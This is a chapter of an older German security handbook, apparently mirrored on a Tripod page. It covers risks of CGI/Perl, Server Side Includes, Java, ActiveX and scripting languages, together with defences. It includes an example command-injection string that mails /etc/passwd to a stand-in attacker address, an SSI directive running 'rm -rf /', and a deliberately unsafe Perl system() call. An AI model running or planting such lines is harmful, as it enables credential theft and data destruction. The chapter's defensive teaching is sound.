Make your own free website on Tripod.com


vorheriges KapitelInhaltsverzeichnisStichwortverzeichnisnächstes Kapitel


28

Sprachen, Erweiterungen und Sicherheit

Dieses Kapitel befaßt sich damit, welchen Einfluß der Einsatz bestimmter Sprachen und Erweiterungen auf die Sicherheit eines Systems haben.

28.1 Das World Wide Web wächst heran

Als das Web populär wurde, waren seine Seiten noch statisch und dienten der reinen Darstellung von Informationen. Die meisten Seiten enthielten wissenschaftliche Informationen oder Werbematerial.

Seitdem hat das WWW an Funktionalität gewonnen. Technologien wie das Common Gateway Interface (CGI) und Java haben die Art und Weise, wie wir das Internet nutzen, drastisch verändert. Heute ist das Web ein Kanal für Datenbankintegration, elektronischen Datenaustausch (EDI), E-Commerce und sogar Videokonferenzen.

Viele dieser Technologien beruhen auf neuen Sprachen und Erweiterungen. Mit Hilfe solcher Tools kann man Webseiten noch mehr Funktionalität verleihen und die Nutzung für den Anwender interessanter und interaktiver gestalten.

Diese Situation hat den Wettbewerb auf dem Gebiet der Software-Entwicklung weiter verschärft. Um ihre Tools so schnell wie möglich auf den Markt bringen zu können, haben viele Firmen übersehen, daß ihre Produkte Sicherheitslücken beinhalten. In diesem Kapitel möchte ich solche Schwachstellen ansprechen und Ihnen zeigen, wie Sie sich schützen können.

Dabei geht es um folgende Themen:

28.2 CGI und Sicherheit

CGI ermöglicht Web-Servern die Weitergabe von Informationen an Web-Clients über die reine Wiedergabe von Text oder HTML-Dateien hinaus. Dafür können fast alle gängigen Programmiersprachen benutzt werden. Die am häufigsten für CGI-Programmierung verwendeten Sprachen sind:

Normalerweise beinhalten CGI-Aufgaben die Abfrage von Datenbanken, die Anzeige von Statistiken und die Ausführung von WHOIS- oder FINGER-Abfragen über ein Web-Interface (obwohl Sie theoretisch fast jede netzwerkbasierte Abfrage mit CGI durchführen können).

CGI-Programme laufen immer auf dem Server, und aus diesem Grund stellen sie eine hohe Belastung für das Netzwerk dar. Da es durch CGI außerdem zu Sicherheitsgefährdungen kommen kann, erlauben viele Internet Service Provider ihren Benutzern die Verwendung von CGI gar nicht erst.

Je nach Ihrer Konfiguration können diese Sicherheitsprobleme durch CGI durchaus ernster Natur sein. Wenn ein Cracker eine CGI-Sicherheitslücke erfolgreich ausnutzt, kann er Befehle mit der Benutzerkennung des Webservers ausführen. Bei vielen Default-Konfigurationen läuft HTTPD als root, und das kann ein kritisches Problem darstellen.

Im nächsten Abschnitt behandeln wir die Sicherheitsprobleme von CGI, die sich auf die Programmiersprache Perl beziehen.

28.2.1 Perl (Practical Extraction and Report Language)

Perl ist die bei weitem beliebteste Sprache für die CGI-Programmierung. Das hat mehrere Gründe:

Außerdem ähneln Syntax, Funktionen und Methoden von Perl denen von SED, AWK, C und den Shell-Sprachen. Deshalb ist Perl bei Unix-Programmierern sehr beliebt.

28.2.2 Die Sicherheit von Perl

Die Sicherheit von Perl ist ziemlich gut; es sind die Programmierer, die Sicherheitslöcher verursachen. Im folgenden Abschnitt werden diese Sicherheitslöcher beschrieben, und wie man sie vermeidet.

Der Systemaufruf

Ein Sicherheitsproblem ist der Systemaufruf. Sie geben Perl mit Hilfe eines Systemaufrufs die Anweisung, einen nativen Befehl des Betriebssystems auszuführen. Hier ist ein Beispiel:

system("grep $user_input /home/programmer/my_database");

Dies veranlaßt grep, die Datei my_database nach Übereinstimmungen mit der vom Benutzer eingegebenen Zeichenfolge $user_input zu durchsuchen.

Systemaufrufe wie dieser sind gefährlich, weil Sie nie voraussehen können, was der Benutzer machen wird. Die meisten Benutzer geben eine Zeichenfolge ein, die korrekt ist (oder von der sie zumindest denken, daß sie korrekt ist). Cracker gehen jedoch anders vor. Ein Cracker versucht, die Schwächen Ihres Scripts herauszufinden. Dazu gibt er Zeichenfolgen ein, die zur Ausführung weiterer Befehle vorgesehen sind.

Nehmen wir einmal an, Sie hätten den obigen Systemaufruf in Ihrem Script stehen und keinen Mechanismus zur Filterung unerlaubter Zeichenfolgen vorgesehen. Dann könnte der Cracker auf einfache Weise Befehle an die Shell leiten, indem er seinen Eingaben bestimmte Metazeichen anfügt.

Die meisten Shell-Interpreter (einschließlich command.com von MS-DOS) stellen eine Möglichkeit zur Ausführung sequentieller Befehle zur Verfügung. Dazu schreibt man die Befehle einfach durch Metazeichen getrennt hintereinander. In Tabelle 28.1 sind mehrere Metazeichen für die Unix-Shell und ihre Aufgaben aufgeführt.

Tabelle 28.1: Metazeichen und ihre Aufgaben

Metazeichen

Zweck

;

Durch dieses Metazeichen getrennte Befehle werden der Reihe nach ausgeführt.

|

Spezifiziert, daß die Ausgabe des ersten Befehls zur Eingabe des zweiten werden soll.

&&

Spezifiziert, daß der zweite Befehl ausgeführt werden soll, wenn der erste Befehl erfolgreich ist.

||

Spezifiziert, daß der zweite Befehl ausgeführt werden soll, wenn der erste Befehl scheitert.

( )

Spezifiziert, daß alle angegebenen Befehle zu einer Gruppe zusammengefaßt und in einer Subshell ausgeführt werden sollen.

Wenn Sie keinen Mechanismus einfügen, der jede ankommende Zeichenkette filtert, kann ein Cracker diese Metazeichen verwenden, um zusätzliche Befehle auf die Argumentliste zu schieben. Das klassische Beispiel dafür ist:

user_string;mail bozo@cracking.com </etc/passwd

Die Datei /etc/passwd wird per E-Mail an den Cracker gesendet. Das funktioniert, weil das Semikolon den Interpreter anweist, den Mail-Befehl auszuführen, nachdem die grep-Suche beendet ist.

Sie sollten möglichst verhindern, daß Benutzer überhaupt Zeichenketten eingeben können, in die sie Befehle einbauen könnten. Es gibt viele Wege, das zu umgehen. Sie könnten z.B. Optionsfelder, Auswahllisten oder andere Objekte einfügen, die nur angeklickt werden müssen. Wenn Sie den Benutzer zwischen mehreren Optionen wählen lassen, haben Sie eine viel größere Kontrolle darüber, was an STDIN eingelesen wird.

Warnung:

Selbst wenn Sie Optionsfelder oder Auswahllisten verwenden, benötigen Sie eine Überprüfungsroutine. Der Grund ist folgender: Cracker können Kommandozeilen-Abfragen konstruieren, in denen sie Ihren Formularfeldern beliebige Werte zuweisen. Wenn Sie diese Werte nicht überprüfen, kann es immer noch passieren, daß bösartiger Code an Ihren Server gesendet wird.

Eine Überprüfungsroutine einzubauen, ist recht einfach. Sie können im Handumdrehen aufeinanderfolgende IF-NOT-Blöcke erzeugen. Das sieht zum Beispiel so aus:

if($formular_inhalt{'option 1'} ne "erste_option") {
if($formular_inhalt{'option 1'} ne "zweite_option") {
print "Unzulässiger Wert\n";
exit;
}
}

Eine weitere Lösung (wenn Sie unbedingt Systemaufrufe verwenden wollen) ist, alle Sonderzeichen in dem Aufruf in Escape-Zeichen einzuschließen. Dann würde der folgende Befehl

system("grep $user_input /home/programmer/my_database");

statt dessen so aussehen:

system("grep \"$user_input\" /home/programmer/my_database");

Noch eine Lösung (die zwar einfacher, aber vielleicht weniger wünschenswert ist) wäre die Überprüfung der Benutzereingaben, bevor diese weitergeleitet werden. Es gibt mehrere Möglichkeiten:

Das Problem der Systemaufrufe ist nicht auf Perl beschränkt, sondern kann in jeder Programmiersprache auftreten, auch in C. Eugene Eric Kim, Autor von Programming CGI in C, schreibt dazu folgendes:

Bei in C abgefaßten CGI-Programmen stellen C-Funktionen, die einen Bourne-Shell- Prozeß (z.B. system() oder popen()) einleiten, eine ernste potentielle Sicherheitslücke dar. Wenn Sie Benutzereingaben in eine dieser Funktionen erlauben, ohne vor die Sonderzeichen jeweils ein Escape-Zeichen zu setzen, kann ein böswilliger Benutzer Ihr System gefährden, indem er spezielle, für die Shell reservierte »Metazeichen« verwendet.

Wegweiser:

Programming CGI in C von Eugene Eric Kim finden Sie im Web unter http://www.eekim.com/pubs/cgiinc/index.html.

Ich empfehle Ihnen Kims neuestes Buch, CGI Developer's Guide (Sams.net). Kapitel 9, »CGI Security: Writing Secure CGI Programs«, gibt einen ausgezeichneten Überblick über CGI-Sicherheit. Kim spricht viele Szenarien an, denen Sie begegnen könnten:

28.2.3 Skripte im privilegierten Modus ausführen

Skripte im privilegierten Modus auszuführen, ist ein weiterer verbreiteter Fehler. Er ist sogar so verbreitet, daß Perl über eingebaute Sicherheitsvorkehrungen dagegen verfügt. Ein Beispiel ist die Behandlung von setuid-Skripte (solche, die spezielle Privilegien voraussetzen, um ausgeführt werden zu können):

Wenn Perl ein setuid-Skript ausführt, werden spezielle Vorsichtsmaßnahmen getroffen, die verhindern, daß Sie in eine der offensichtlichen Fallen tappen. (In mancher Hinsicht ist ein Perl-Skript sicherer als das entsprechende C-Programm.) Jedes Kommandozeilenargument, jede Umgebungsvariable oder Eingabe wird als »unsicher« gekennzeichnet und darf - ob direkt oder indirekt - in keinem Befehl verwendet werden, der eine Subshell aufruft oder Dateien, Verzeichnisse oder Prozesse modifiziert. Jede Variable, die innerhalb eines Ausdrucks gesetzt wird, der zuvor einen unsicheren Wert referenziert hat, wird ebenfalls unsicher (sogar wenn es aus logischer Sicht eigentlich unmöglich ist, daß der unsichere Wert diese Variable beeinflussen kann).

Sie sollten dennoch niemals Skripte im privilegierten Modus ausführen; und ich bin nicht der einzige, der Ihnen dies raten wird. Lincoln Stein, Autor des WWW Security FAQ, gibt folgenden Rat:

Als erstes sollten Sie sich fragen, ob es wirklich nötig ist, daß Ihr Perl-Skript suid ausgeführt wird. Dies stellt aus folgendem Grund eine Gefahr dar: Wenn Sie Ihrem Skript mehr Privilegien geben als der Benutzer »nobody« hat, erhöht dies auch die potentiellen Schäden, die ein mißbräuchlich verwendetes Skript hervorrufen kann. Wenn Sie beabsichtigen, Ihrem Skript Root-Privilegien zu geben, sollten Sie sich das sehr gut überlegen.

Wegweiser:

Den WWW Security FAQ von Lincoln D. Stein finden Sie unter http://www- genome.wi.mit.edu/WWW/faqs/wwwsf5.html.

28.2.4 Erzeugen von Dateien

Wenn Ihre CGI-Programme Dateien erzeugen, sollten Sie die folgenden Regeln einhalten:

Hinweis:

Sie sollten außerdem die UMASK für die erzeugten Dateien auf 022 setzen. Das hindert andere daran, in diese Dateien zu schreiben.

28.2.5 Server Side Includes (SSI)

Server Side Includes können automatisch Dokumente oder andere Objekte in eine Webseite einfügen, indem sie diese Elemente von der lokalen Festplatte aufrufen.

Dokumente können per SSI auf folgende Weise aufgerufen werden:

<!--#include file="mybanner.html"-->

Das scheint eine nützliche Funktion zu sein. Ein SSI könnte jedoch auch leicht folgendermaßen aussehen:

<!--#exec cmd=" rm -rf /"--> (Lösche alle Dateien.)

Wenn dieses SSI geparst wird und Httpd als root läuft, wird Ihre gesamte Festplatte gelöscht.

Die meisten Web-Administratoren deaktivieren SSI. Wenn Ihr Server sie parst, seien Sie gewarnt. Sie sollten beim Schreiben von CGI-Scripts eine Routine einbauen, die SSIs ausfiltert.

Hinweis:

Sie können das Parsen von cmd-Verzeichnissen bei NCSA und Apache deaktivieren, indem Sie die folgende Zeile in Ihre access.conf einfügen:
Options IncludesNoExec

Warnung:

Dieser Rat gilt nicht nur für Unix-basierte Server. Viele Web-Server-Pakete unterstützen SSI, unter anderem auch der NetWare Web Server. (Um SSI auf dem NetWare Web Server zu deaktivieren, ändern Sie diese Option in dem Administrations-Tool.)

Hinweis:

Das Perl-ladbare Modul (Perl.NLM) hat in NetWare 4.1 und IntranetWare eine Sicherheitslücke. Entfernte Angreifer können diese Lücke ausnutzen, um beliebigen Code auf Ihrem Server auszuführen. Das ist ein ziemlich ernstes Sicherheitsloch. Mehr darüber erfahren Sie unter http://www.dhp.com/ ~fyodor/sploits/netware.perl.nlm.html.

28.2.6 Java

Als Java herauskam, ging eine Welle der Aufregung durch das gesamte Internet. Die Programmierer waren fasziniert von der Aussicht auf eine plattformunabhängige Sprache, und das zu Recht. Die Entwicklung von Hybridanwendungen ist schwierig, fehleranfällig und teuer. Alles, was diese Probleme lindern könnte, wird deshalb mit offenen Armen empfangen.

Vor diesem Hintergrund bedeutete Java einen wunderbaren Fortschritt. Außerdem war Java für die Web-Entwicklung optimiert. Programmierer nutzten diese Funktionalität rasch zur Erstellung lebendiger Multimedia-Anwendungen für die WebBrowser-Umgebung.

Es dauerte jedoch nicht lange, bis die neue Programmiersprache in Verdacht geriet, Sicherheitsgefahren zu bergen. Nach und nach wurden mehrere schwere Sicherheitslücken bekannt. Im folgenden Abschnitt will ich auf diese Lücken kurz eingehen.

Worum das ganze Theater?

Die welterschütternden Neuigkeiten über die Java-Sicherheit kamen aus dem Fachbereich Informatik der Princeton University. Drew Dean, Edward W. Felten und Dan S. Wallach leiteten die Untersuchungen.

Der Kopf der Gruppe, Felten, war seit 1993 Informatik-Dozent an der Princeton University und hatte 1994 die Forschungsauszeichnung National Young Investigator erhalten. Er arbeitete mit den beiden Informatik-Absolventen Dean und Wallach daran, Sicherheitslöcher in Java zu finden.

Das Felten-Team identifizierte die folgenden Probleme:

Die Reaktionen der Öffentlichkeit waren natürlich sehr negativ. Die Sache wurde noch dadurch verschlimmert, daß, selbst nachdem Sun und Netscape einen Fix herausgebracht hatten, viele der ursprünglichen Probleme immer noch vorhanden und durch andere Angriffsarten ausnutzbar waren.

Wegweiser:

Das Dokument des Felten-Teams heißt »Java Security: From HotJava to Netscape and Beyond«. Sie finden es unter http://www.cs.princeton.edu/ sip/pub/secure96.html.

Von da an wurde Java sehr sorgfältigen Prüfungen unterzogen, und mehrere weitere Probleme wurden identifiziert.

Zum Beispiel gelangte Java ungehindert durch Firewalls. Daher wurde die Theorie aufgestellt, daß bösartige Applets die Firewall-Sicherheit untergraben könnten. Die Java-Befürworter hielten entrüstet dagegen, daß ein solcher Angriff nicht möglich sei. Beide Seiten wurden jedoch durch ein Dokument mit dem Titel »Blocking Java Applets at the Firewall« zum Schweigen gebracht.

Die Autoren demonstrierten darin nämlich eine Methode, mit der ein Java-Applet eine Firewall dazu bringen konnte, beliebige, normalerweise eingeschränkte Ports für den Host des Applets zu öffnen. Mit anderen Worten konnte ein solches Applet den grundlegenden Zweck und die Funktion einer Firewall komplett umgehen.

Wegweiser:

»Blocking Java Applets at the Firewall« von David M. Martin jr., Sivaramakrishnan Rajagopalan und Aviel D. Rubin finden Sie im Web unter http:// www.cs.bu.edu/techreports/96-026-java-firewalls.ps.Z.

Hier sind ein paar neuere Sicherheitslöcher, die für Sie interessant sein dürften:

Warnung:

Wenn Sie die Online-Demo ausprobieren wollen, sollten Sie unbedingt vorher Ihre Arbeit sichern. Ihr Rechner wird nämlich abstürzen.

Den Quellcode finden Sie hier: http://geek-girl.com/bugtraq/1998_1/0091.html; die Online-Demo ist hier: http://home1.swipnet.se/~w-10867/fork/fl00d.htm.

Hinweis:

Diese Sicherheitslöcher sind alle relativ neu, und die meisten gelten für neuere Java-Implementierungen. Sie sollten jedoch wissen, daß Sie durch mehrere Dutzend Attacken verletzbar sein können, wenn Sie ältere Java-Implementierungen verwenden.

Nun aber zu den positiven Seiten von Java. Es verfügt nämlich auch über mehrere Sicherheitsmechanismen, die ein Lob verdienen.

Das Sicherheitsmodell von Java beruht größtenteils auf etwas, das der Java-Sandkasten (sandbox) genannt wird. Das ist ein Bereich, der für die Ausführung von nicht vertrauenswürdigem Code reserviert ist. Jeder Code wird innerhalb des Sandkastens in einem Web- Browser ausgeführt, und eine Klasse mit Namen SecurityManager erzwingt dort die Einhaltung strikter Sicherheitsrichtlinien.

Der SecurityManager kontrolliert den Zugriff auf alle Systemressourcen, darunter folgende:

Theoretisch hat der Code keine Möglichkeit, aus dem Sandkasten herauszukommen (oder die SecurityManager-Einschränkungen zu umgehen), und deshalb können in Browsern ausgeführte Applets nicht auf Systemressourcen zugreifen. Dieses Sicherheitsmodell ist sehr viel sicherer als das von Microsofts ActiveX verwendete Modell.

Warnung:

Obwohl der Sandkasten eine gute grundlegende Sicherheit bietet, sind einige Fortschritte bei dem Versuch gemacht worden, den SecurityManager zu umgehen. Sie konnten zwar bei früheren Netzwerk-Versionen z.B. nicht direkt aus dem Sandkasten ausbrechen, aber dennoch war es möglich, SecurityManager zu umgehen, indem man die Klasse als leer reinitialisierte. Einige interessante Informationen zu dieser Technik finden Sie unter http:// www.cs.utah.edu/~gback/netscape/bypass.html.

Über das Schema von Sandkasten und SecurityManager hinaus bietet Java eine erweiterte Zugriffskontrolle auf Benutzer-, Datei-, Verzeichnis- und Socket-Ebene. In Tabelle 28.2 sind diese Sicherheitsklassen aufgeführt.

Tabelle 28.2: Java-Sicherheitsklassen für Berechtigungen

Klasse

Zweck

java.security.Permission

Der Großvater aller Berechtigungen. (Alle folgenden Klassen sind Unterklassen dieser Klasse.)

java.io.FilePermission

Manipuliert Datei- und Verzeichnisberechtigungen. Sie können alle herkömmlichen Berechtigungen spezifizieren, wie Lesen, Schreiben, Ausführen, Löschen usw.

java.net.SocketPermission

Ermöglicht Ihnen, den Zugriff auf einen Socket zu spezifizieren. Sie können diesen Zugriff beschränken, indem Sie die Möglichkeit zum Akzeptieren, Verbinden, Lauschen oder Auflösen gewähren oder verweigern.

Die Sicherheit von Java ist durch die Einführung von Verschlüsselungsroutinen sogar noch weiter verbessert worden. Java unterstützt nun alle folgenden Algorithmen:

Die Klasse java.security.Signature stellt die Funktionalität digitaler Signaturen durch Verwendung eines beliebigen dieser drei Algorithmen zur Verfügung. Mehr über diese Funktionalität erfahren Sie in Java Cryptography Architecture API Specification and Reference , das Sie hier finden:

http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html

Sie fragen sich jetzt vielleicht, ob Java denn nun sicher ist oder nicht. Das Fazit lautet: Java hat eine unendlich höhere Sicherheit als ActiveX. Darüber hinaus hat Sun sich enorm bemüht, einige sehr fortschrittliche Sicherheitsmerkmale in Java zu integrieren. Ich halte Java für sicherer als Perl.

Dennoch empfehle ich Ihnen, Java an der Firewall zu filtern, und zwar aus folgendem Grund: Wir haben die Cracker-Gemeinde bislang noch nicht wirklich mit Java arbeiten sehen. Das kann deshalb so sein, weil Java schwieriger zu lernen ist als C oder Perl, die traditionellen Lieblingssprachen von Crackern. Außerdem - und das ist ein ganz wichtiger Punkt - sind Java-Attacken normalerweise Serverbasiert. Es ist kein Problem, Java-Attacken zu erzeugen und sie zu Forschungszwecken zu testen. Im wirklichen Leben würden Angriffe von einem Server jedoch schnell entdeckt werden, und der Eigentümer würde sich in einer schwierigen Lage befinden.

Das kann sich jedoch ändern. Java ist von seinem Wesen her so auf die Netzwerkprogrammierung ausgerichtet, daß wir schließlich Angriffe erleben könnten, die über Standardleitungen implementiert werden (d.h. ohne daß ein Server involviert wäre).

28.3 ActiveX

Keine Sprache oder Erweiterung bietet mehr Server-zu-Client-Funktionalität als die ActiveX-Technologie von Microsoft (solange die Client-Umgebung Microsoft-zentriert ist). Mit ActiveX entwickelte Webseiten bieten oft eine phänomenale Funktionalität, die in eine benutzerfreundliche Oberfläche eingepackt ist. Eigentlich schade drum, denn man kann mit Recht behaupten, daß ActiveX die größte Sicherheitsbedrohung des Internet darstellt, die es jemals gegeben hat.

Ein 1997 von Ellen Messmer von Network World verfaßter Artikel faßt alles zusammen, was Sie über die Sicherheit von ActiveX wissen müssen:

Wie viele Unternehmen, verläßt sich auch Lockheed Martin auf die Technologien von Microsoft. Aber wenn es um das firmeneigene Intranet geht, sieht man dennoch davon ab, ActiveX einzusetzen, einen Eckpfeiler der Web-Technologien Microsofts. Der Grund? ActiveX kann Virusschreibern und Hackern einen perfekten Zutritt zum Netzwerk verschaffen. »Sie können ein ActiveX-Applet herunterladen, das ein Virus ist, der größeren Schaden anrichten könnte«, erläutert Bill Andiario, technischer Leiter für Web-Initiativen bei Lockheed Martin Enterprise Information Systems, dem Geschäftsbereich Informationssysteme der Firma. »Oder es könnte sich Ihre geschützten Informationen greifen und an einen Konkurrenten weiterleiten, oder noch schlimmer, in ein anderes Land.«

Diese Ängste von Unternehmen sind durchaus berechtigt. Fragen Sie einmal den Chaos Computer Club, eine Gruppe von Hackern in Hamburg. Der CCC hat im Februar 1997 der ganzen Welt die Sicherheitsmängel von ActiveX demonstriert:

Im deutschen Fernsehen hat [der CCC] ein ActiveX-Steuerelement demonstriert, das in der Lage ist, sich Geld von einem Bankkonto zu schnappen und einem anderen gutzuschreiben, und all das ohne die Verwendung der PIN-Nummer, die eigentlich dafür vorgesehen ist, solche Diebstähle zu verhindern.

Wegweiser:

Der obige Text stammt ursprünglich aus einem Artikel mit Namen »ActiveX Used as Hacking Tool«. Er stammt von Nick Wingfield (CNET) und Sie finden ihn unter folgender Adresse: http://www.news.com/News/Item/ 0,4,7761,4000.html.

Spätestens seit diesem Vorfall sprach sich herum, daß ActiveX absolut unsicher ist. Firewall- Administratoren verlangten sofort nach Tools, die ActiveX ausfiltern können.

Wegweiser:

Die Chronologie der CCC-Eskapade finden Sie unter http://www.iks-jena.de/mitarb/lutz/security/activex.html .

28.3.1 Was ist das Problem von ActiveX?

Das Problem von ActiveX wurde von den Leuten bei JavaSoft prägnant zusammengefaßt:

ActiveX... ermöglicht die Ausführung von beliebigem Binärcode. Eine bösartige ActiveX-Komponente kann geschrieben werden, um Dateien auf der lokalen Festplatte eines Benutzers zu verändern oder zu löschen, oder um Verbindungen mit anderen Computern herzustellen, ohne daß der Benutzer dies merkt oder dem zustimmt. Außerdem besteht immer das Risiko, daß eine an sich harmlose ActiveX- Komponente mit einem Virus behaftet sein könnte. Leider können Viren genauso leicht verschlüsselt werden wie gewöhnlicher Code.

Das ist ein kritisches Problem, und zwar aus folgenden Gründen:

Die nicht auf NTFS beruhenden Microsoft-Umgebungen haben kein richtiges Dateiberechtigungsschema oder eine wahlweise Zugriffskontrolle. (Das ist bei allen Novell-NetWare- und Unix-Umgebungen anders.) Daher kann ein bösartiges ActiveX-Steuerelement nicht nur den Verzeichnisraum eines einzelnen Benutzers beschädigen, sondern ein gesamtes Netzwerk.

Microsofts Reaktion auf den CCC-Vorfall war unbefriedigend. Man behauptete, diese Sache hätte nur eines bewiesen: daß Sie keinen unsignierten Code akzeptieren sollten. Es ist jedoch aufgrund seiner zugrundeliegenden Technologie fraglich, ob ActiveX jemals so eingeschränkt wird, daß es nicht mehr auf Ihre Festplatte zugreifen kann. Im Grunde ist ActiveX nämlich nichts anderes als ein weiterentwickeltes OLE.

OLE (Object Linking and Embedding) ist eine Technologie, die mit zusammengesetzten Dokumenten arbeitet, d.h. Dokumenten, die verschiedene Arten von Daten enthalten. Vor OLE wurden Datenelemente verfälscht, wenn sie aus ihrer Ursprungsanwendung entnommen und in eine andere eingefügt wurden. (Sie paßten sich der Umgebung der Host-Anwendung an.) Zum Beispiel wurden beim Einfügen eines Spreadsheets in eine Textverarbeitung die Daten durcheinandergebracht. Bei OLE behalten diese Objekte (eingebettete Objekte genannt) ihren ursprünglichen Zustand.

Jedesmal, wenn Sie ein eingebettetes Objekt bearbeiten, wird die ursprüngliche Anwendung aufgerufen, so daß die Bearbeitung in der Ursprungsumgebung des Elements vorgenommen werden kann. Zum Beispiel wird Excel aufgerufen, wenn Sie ein Excel-Arbeitsblatt bearbeiten wollen, das in ein Word-Dokument eingebettet ist. (Im Gegensatz zu DDE ist dieser Austausch zwischen der aktuellen und der ursprünglichen Anwendung für Benutzer dabei nicht sichtbar.)

Die Sicherheitsprobleme sind offensichtlich. Wenn ein ActiveX-Steuerelement sich als ein Element ausgeben kann, daß von einer bestimmten Anwendung erzeugt worden ist, kann es den Start einer Instanz dieser Anwendung auslösen. Nachdem die Anwendung gestartet wurde, kann sie von der ActiveX-Komponente »ferngesteuert« werden. Das passiert transparent, d.h. für den Benutzer nicht sichtbar. Man kann folgendes Fazit ziehen: Lassen Sie kein ActiveX durch Ihre Firewall oder Ihren signierten oder unsignierten Code. (Sie können, wenn Sie wollen - obwohl ich Ihnen dringend davon abraten würde - der Person vertrauen, die den Code signiert hat.)

28.4 Script-Sprachen

Schließlich gibt es noch die Script-Sprachen. Script-Sprachen werden ausschließlich in Web-Browser-Umgebungen verwendet. Es gibt zwei von Belang:

Wir wollen uns beide kurz ansehen.

28.4.1 JavaScript

JavaScript wurde von der Netscape Communications Corporation für die Netscape-Navigator/Communicator-Umgebung entwickelt (und in geringerem Maße für andere Browser, die es unterstützen).

JavaScript ist keine Compiler-Sprache, verwendet keine Klassen-Bibliotheken und wird im allgemeinen in HTML eingebettet (obwohl Server-seitiges JavaScript sich auch in *.JS- Quelldateien befinden kann).

Eigenständige Anwendungen können mit JavaScript nicht entwickelt werden, aber man kann sehr komplexe Programme schreiben, die innerhalb der Netscape-Navigator-Umgebung laufen können.

Bei den frühen Versionen von JavaScript und Navigator gab es einige ernste Sicherheitsprobleme. Ein Entwickler fand sogar heraus, wie man JavaScript verwenden konnte, um auf die Festplatte eines Benutzers zu schreiben. Die meisten dieser Probleme gab es in Navigator 2.0 (JavaScript 1.1) und früheren Versionen, und sie sind nicht mehr von Bedeutung.

Die Sicherheitsprobleme von JavaScript waren in der Vergangenheit relativ unbedeutend. Zum Beispiel konnte folgendes passieren:

Leider wurde die Funktionalität von JavaScript stark erweitert. (JavaScript ist inzwischen eine umfangreiche, mächtige Sprache.) In den letzten Monaten sind einige ernste und weniger ernste Sicherheitsprobleme zum Vorschein gekommen. Einige davon sind:

28.4.2 VBScript

VBScript ist für den Internet Explorer das, was JavaScript für den Netscape Communicator ist. Der einzige größere Unterschied ist folgender: VBScript ist eine Untermenge einer vollständigen Programmiersprache, die normalerweise zur Erzeugung eigenständiger Anwendungen verwendet wird. VBScript ist im wesentlichen eine abgespeckte Version von Microsoft Visual Basic.

Im allgemeinen bietet VBScript dieselbe (oder noch größere) Funktionalität wie JavaScript. Es ist zum Beispiel möglich, VBScript dazu zu verwenden, eine endlose Anzahl von Fenstern zu öffnen, den Browser zu blockieren oder Formulardaten abzufangen. Bei der Mehrzahl der bislang realisierten Angriffe wurde jedoch JavaScript verwendet.

28.4.3 Abwehr von Gefahren durch Script-Sprachen

Skript-Sprachen stellen nur eine Gefahr dar, wenn Sie es zulassen. Wenn Ihre Netzwerkumgebung strenge Sicherheit erfordert, empfehle ich Ihnen, sowohl JavaScript als auch VBScript am Router zu filtern. Alternativ dazu können Sie auch einfach die Ausführung ihrer Anweisungen in Ihrem Browser deaktivieren. Eine dieser beiden Möglichkeiten sollten Sie jedoch unbedingt wählen - nur weil Sie den Skript-Quelltext in HTML sehen können, heißt das noch lange nicht, daß ein Skript schläft, bis Sie ihm ein Ereignis anbieten (wie das Klicken auf einen Button oder eine Grafik). Die meisten bösartigen Skripts werden schon beim Laden ausgeführt. Wenn Sie also einem wirklich bösartigen Skript begegnen, ist es auf jeden Fall schon zu spät für irgendwelche Abwehrmaßnahmen.

28.5 Zusammenfassung

Mit wachsender Funktionalität des Web werden immer mehr Sprachen und Erweiterungen entwickelt werden. In mancher Hinsicht ist das eine wunderbare Sache. Schließlich strebt man das Ziel an, transparenten Zugriff zu allen Netzwerk- und Dateiressourcen auf der ganzen Welt zu haben. Das Problem dabei ist, daß es immer schwieriger wird, für wirkliche Sicherheit zu sorgen.

Der harte Wettbewerb auf dem Markt hat zudem dazu geführt, daß die Überprüfung der Qualität der Produkte im Hinblick auf die Sicherheit vernachlässigt wurde. Das ist bislang nicht so schlimm gewesen, da noch niemand wirklich zu Schaden gekommen ist. Aber denken Sie z.B. einmal an das Online-Banking, das immer mehr genutzt wird. Vor kurzem wurde berichtet, daß eine Bank in Schottland ActiveX verwendet. Würden Sie, nachdem Sie dieses Kapitel gelesen haben, dort noch ein Konto eröffnen?



vorheriges KapitelInhaltsverzeichnisStichwortverzeichnisKapitelanfangnächstes Kapitel